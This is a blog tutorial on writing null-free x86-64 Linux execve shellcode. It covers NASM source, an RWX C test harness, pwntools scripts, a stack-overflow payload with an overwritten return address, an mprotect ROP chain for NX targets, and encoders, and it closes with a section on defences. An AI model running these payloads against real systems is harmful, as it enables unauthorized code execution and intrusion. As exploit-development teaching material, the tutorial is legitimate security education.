Linux x86-64 Shellcoding from Scratch

Linux x86-64 Shellcoding from Scratch - article cover image RE & Pwn
2026.07.13
Time it takes to read this article 8 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Shellcode is a small blob of position-independent machine code that, once the processor’s instruction pointer lands on it, performs an attacker-chosen action — classically executing a shell by invoking the execve system call on "/bin/sh". On modern x86-64 Linux, writing shellcode from scratch means understanding exactly one interface: the syscall calling convention. There is no libc, no linker, no imports; the code talks to the kernel directly through the syscall instruction, so it runs the same wherever it is placed in memory.

This article builds a null-free execve("/bin/sh", NULL, NULL) payload by hand, explains why each byte matters (especially the ubiquitous requirement that the payload contain no NULL bytes), verifies it in a debugger, and then shows how pwntools’ shellcraft module generates and delivers the same thing for you. NX (non-executable stack) means raw shellcode on the stack usually will not run unmodified — so we also note where shellcode is still directly usable and how it connects to techniques like mprotect ROP that make a region executable first.

Attack Prerequisites

Shellcode is only the payload; delivering and executing it needs the right conditions in the target:

  • A control-flow hijack that sets RIP to your buffer — a stack overflow past a saved return address, an overwritten function pointer, or a jump target you influence.
  • An executable memory region holding the bytes — a jmp rsp/register-controlled buffer in RWX memory, an mmap/mprotect-ed RWX page, or a JIT region. Under NX the stack is not executable, so you either need an RWX area or a ROP stub (e.g. mprotect) that makes your buffer executable first.
  • Enough contiguous space for the payload (a bare execve stub is ~25-30 bytes) and knowledge of any byte-filtering the input path imposes.
  • A null-free (and sometimes alphanumeric/printable) encoding if the delivery vector is a C string, scanf("%s"), or another API that truncates on a forbidden byte.

How It Works

The x86-64 Linux syscall ABI is compact and fixed. A system call is issued with the syscall instruction. The syscall number goes in RAX; arguments go, in order, in RDI, RSI, RDX, R10, R8, R9 (note R10, not RCX — RCX and R11 are clobbered by syscall itself). The kernel returns the result in RAX. For a shell we want execve, which is syscall number 59 (0x3b), with the signature execve(const char *pathname, char *const argv[], char *const envp[]). So we need RAX = 59, RDI pointing at the string "/bin/sh", RSI = 0 (NULL argv), and RDX = 0 (NULL envp), then syscall.

The dominant constraint is avoiding NULL bytes. A great deal of shellcode is delivered through string-based inputs that stop copying at the first \x00, so any zero byte in the encoded instructions truncates the payload. The naive way to load values produces zeros everywhere: mov rax, 59 assembles with leading zero bytes, and mov rdi, 0 is literally zeros. The idioms that avoid this are standard: zero a register with xor rax, rax (or xor edi, edi) instead of mov ..., 0; load small immediates into the 8-bit or 32-bit sub-registers (mov al, 59 is b0 3b, no zeros; writing EAX auto-clears the top 32 bits) rather than the full 64-bit register.

Getting a pointer to "/bin/sh" without embedding the string at a fixed (and therefore unknown, under ASLR) address is the other classic trick. Because the code is position-independent, we build the string on the stack at runtime: push a NULL terminator, then push the 8 bytes "/bin/sh\0" as an immediate, and point RDI at RSP. The 8-character string "/bin//sh" is often used so the value has no NULL byte inside the immediate itself (the doubled slash is ignored by the kernel path resolver), with the terminating NULL supplied by a separately pushed zeroed register. That keeps the whole encoded stub free of \x00.

Vulnerable Code / Setup

A trivial harness that executes bytes handed to it lets us test shellcode in isolation — it mmaps an RWX page, copies stdin into it, and jumps there:

// runsc.c  — test harness (RWX on purpose; NOT how real targets look)
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main(void) {
    unsigned char buf[4096];
    ssize_t n = read(0, buf, sizeof buf);
    void *page = mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
                      MAP_ANON|MAP_PRIVATE, -1, 0);
    memcpy(page, buf, n);
    ((void(*)(void))page)();   // jump to the shellcode
    return 0;
}
C

In a real target the region would be NX and you would need a ROP stub to reach an executable buffer. Here checksec is beside the point — the harness is RWX by construction — so the focus is the payload itself. The hand-written stub, in NASM syntax:

; sh.asm  — nasm -f elf64, null-free execve("/bin/sh", 0, 0)
global _start
_start:
    xor  rax, rax          ; rax = 0 (no null bytes; clears full reg)
    push rax               ; NULL terminator for the string
    mov  rbx, 0x68732f2f6e69622f ; "/bin//sh" little-endian, no 0x00
    push rbx               ; string now on the stack
    mov  rdi, rsp          ; rdi -> "/bin//sh"
    push rax               ; argv NULL
    mov  rsi, rsp          ; rsi -> [NULL]  (empty argv)  -- or xor esi,esi
    xor  rdx, rdx          ; rdx = 0        (envp = NULL)
    xor  rsi, rsi          ; rsi = 0        (argv = NULL)
    mov  al, 59            ; execve syscall number (0x3b), no null byte
    syscall
ASM

Walkthrough / Exploitation

Assemble, link, and extract the raw opcodes, then confirm there are no NULL bytes before ever putting them in a string-based delivery path:

nasm -f elf64 sh.asm -o sh.o
ld sh.o -o sh
./sh            # pops a shell directly

# Dump the bytes and grep for 00 to verify null-freeness:
objdump -d sh | grep -E '^ ' | cut -f2 | tr -s ' '
for b in $(objcopy -O binary sh /dev/stdout | xxd -p); do :; done
objcopy -O binary sh sh.bin && xxd sh.bin   # eyeball: no 00 bytes
Bash

pwntools does all of this in a few lines and is what you actually reach for. shellcraft emits architecture-correct, null-aware source and asm() assembles it; pwnlib even reports whether the result is null-free:

from pwn import *
context.arch = 'amd64'

sc = shellcraft.amd64.linux.sh()      # execve("/bin/sh") template
print(sc)                              # human-readable asm
blob = asm(sc)
log.info('len=%d null-free=%s' % (len(blob), b'\x00' not in blob))

# Or build a specific syscall explicitly:
blob = asm(shellcraft.amd64.linux.execve('/bin/sh', 0, 0))
Python

Delivering it against the RWX harness is a straight write to stdin; against a real overflow you would prepend padding and a return address that lands in the buffer. The pattern is identical either way:

io = process('./runsc')
io.send(blob)          # harness copies to RWX page and jumps
io.interactive()       # $ id

# Overflow-style delivery (NX off / RWX buffer known at 'addr'):
payload  = blob.ljust(72, b'\x90')   # shellcode + NOP pad to ret slot
payload += p64(addr)                   # saved RIP -> start of buffer
Python

Under NX — the normal case — the same bytes cannot run on the stack. The bridge is a ROP stub that first calls mprotect(page, len, PROT_READ|PROT_WRITE|PROT_EXEC) on the region holding your shellcode, then returns into it. pwntools generates that too, and it is the standard way to keep using shellcode on NX targets:

# Make the shellcode's page executable, then fall through into it.
rop = ROP(elf)
page = addr & ~0xfff
rop.mprotect(page, 0x1000, 7)          # PROT_READ|WRITE|EXEC = 7
rop.raw(addr)                           # return into shellcode
payload = b'A'*72 + rop.chain() + blob
Python

Encoding for hostile filters is the final wrinkle. If the input rejects non-printable bytes, an alphanumeric encoder wraps the payload in a decoder stub made only of printable opcodes that reconstructs the real shellcode at runtime:

enc = pwnlib.encoders.amd64.encode(blob, avoid=b'\x00\x0a\x20')
# or an explicit alphanumeric encoder when only [A-Za-z0-9] survive
Python

Notes

Note: Remember R10, not RCX, carries the 4th syscall argument on x86-64 — the syscall instruction destroys RCX (it saves RIP there) and R11 (RFLAGS). This bites people porting from the function-call ABI, where the 4th argument would be RCX. For execve it does not matter (only three args), but it does for mmap, mprotect-adjacent chains, and socket shellcode.

Opsec: A bind/reverse-shell payload that calls socket/connect/dup2/execve is far more common in real operations than a local /bin/sh, and it is exactly what a seccomp filter blocks: forbidding execve/execveat/socket in a sandbox neutralizes classic shellcode entirely and pushes attackers toward ORW (open/read/write the flag) payloads. Check the target’s syscall policy before assuming execve will even be allowed.

Detection and Defense

Shellcode execution is stopped less by detecting the bytes and more by denying the conditions it needs:

  • NX / DEP (-z noexecstack, W^X) — an executable stack is the single biggest enabler of naive shellcode; keeping every writable page non-executable forces attackers into ROP first.
  • seccomp-bpf allowlists — restrict processes to the syscalls they actually need; blocking execve/execveat/socket defeats shell and network shellcode regardless of encoding.
  • ASLR + PIE — deny attackers the fixed buffer address they need to jump to.
  • CFI / shadow stacks (Intel CET: IBT + shadow stack, -fcf-protection) — reject indirect jumps to non-endbr targets and detect return-address tampering.
  • Runtime/EDR monitoring — execve of /bin/sh from a network daemon, new RWX mappings via mprotect(...,PROT_EXEC), and anomalous child processes are strong signals (auditd execve/mprotect rules, eBPF sensors).

Real-World Impact

The 25-ish-byte null-free execve("/bin/sh") stub is one of the most reused artifacts in offensive security, descended directly from Aleph One’s 1996 “Smashing the Stack for Fun and Profit,” which established the write-a-shell pattern. Shellstorm and the Exploit-DB shellcode archive catalog thousands of variants — bind shells, reverse shells, staged loaders, egg hunters — and Metasploit’s encoders (the historically famous shikata_ga_nai polymorphic encoder) exist precisely to survive byte filters. The rise of NX and seccomp is why pure shellcode is now usually a stage reached through ROP rather than a standalone exploit, but the hand-built execve stub remains the canonical first thing every exploit developer learns to write.

Conclusion

Writing x86-64 shellcode from scratch comes down to two disciplines: speak the syscall ABI exactly (RAX = number; RDI, RSI, RDX, R10, R8, R9 = arguments; syscall), and keep the encoded bytes free of whatever the delivery path forbids — almost always NULL bytes, sometimes newlines or non-printables. Build the "/bin/sh" string on the stack for position independence, zero registers with xor, and load small immediates into sub-registers to stay null-free. Then let shellcraft generate production payloads and remember that on NX targets the bytes ride in behind an mprotect ROP stub rather than executing on the stack directly.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL